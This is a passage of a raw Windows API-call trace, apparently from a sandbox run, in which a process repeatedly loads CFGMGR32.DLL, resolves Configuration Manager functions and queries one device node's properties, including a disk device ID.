GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5982783a, dwHighDateTime=0x1d9eb0c)) [0202.419] SetEvent (hEvent=0x248) returned 1 [0202.423] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.423] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.426] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.427] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.427] malloc (_Size=0x18) returned 0x196ef0d1a80 [0202.427] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.427] malloc (_Size=0x48) returned 0x196ef0fba40 [0202.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5982783a, dwHighDateTime=0x1d9eb0c)) [0202.428] SetEvent (hEvent=0x248) returned 1 [0202.431] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.431] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.435] malloc (_Size=0x18) returned 0x196ef0d20e0 [0202.435] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.436] malloc (_Size=0x48) returned 0x196ef0fb310 [0202.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59852a4c, dwHighDateTime=0x1d9eb0c)) [0202.436] SetEvent (hEvent=0x248) returned 1 [0202.440] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.440] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.444] malloc (_Size=0x18) returned 0x196ef0d1a60 [0202.444] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.444] malloc (_Size=0x48) returned 0x196ef0fc170 [0202.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59852a4c, dwHighDateTime=0x1d9eb0c)) [0202.444] SetEvent (hEvent=0x248) returned 1 [0202.449] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.449] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.453] malloc (_Size=0x18) returned 0x196ef0d19a0 [0202.453] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0202.456] malloc (_Size=0x48) returned 0x196ef0fbc20 [0202.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x59873df2, dwHighDateTime=0x1d9eb0c)) [0202.456] SetEvent (hEvent=0x248) returned 1 [0202.563] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.563] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.569] malloc (_Size=0x18) returned 0x196ef0d2080 [0202.569] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x7, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0202.569] malloc (_Size=0x48) returned 0x196ef0fb950 [0202.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5997ef2e, dwHighDateTime=0x1d9eb0c)) [0202.570] SetEvent (hEvent=0x248) returned 1 [0202.575] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.575] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.581] malloc (_Size=0x18) returned 0x196ef0d1960 [0202.581] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x7, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0202.582] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0202.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x599a5200, dwHighDateTime=0x1d9eb0c)) [0202.582] SetEvent (hEvent=0x248) returned 1 [0202.586] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.586] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.591] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0202.591] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0202.591] malloc (_Size=0x48) returned 0x196ef0fc120 [0202.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x599cb9d6, dwHighDateTime=0x1d9eb0c)) [0202.592] SetEvent (hEvent=0x248) returned 1 [0202.599] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.599] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0202.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0202.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0202.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0202.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0202.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0202.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0202.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0202.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0202.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0202.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0202.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0202.604] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0202.604] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0202.604] CM_Get_Device_IDA (in: dnDevInst=0x1, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SCSI\\DISK&VEN_&PROD_ST3160215AS\\4&305DAB9F&0&000000") returned 0x0 [0202.605] malloc (_Size=0x48) returned 0x196ef0fbe50 [0202.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x599cb9d6, dwHighDateTime=0x1d9eb0c)) [0202.605] SetEvent (hEvent=0x248) returned 1 [0202.745] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0202.745] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0202.746] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0202.746] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0202.746] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0202.746] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0202.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0202.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0202.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0202.747] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0202.747] GetProcAddress 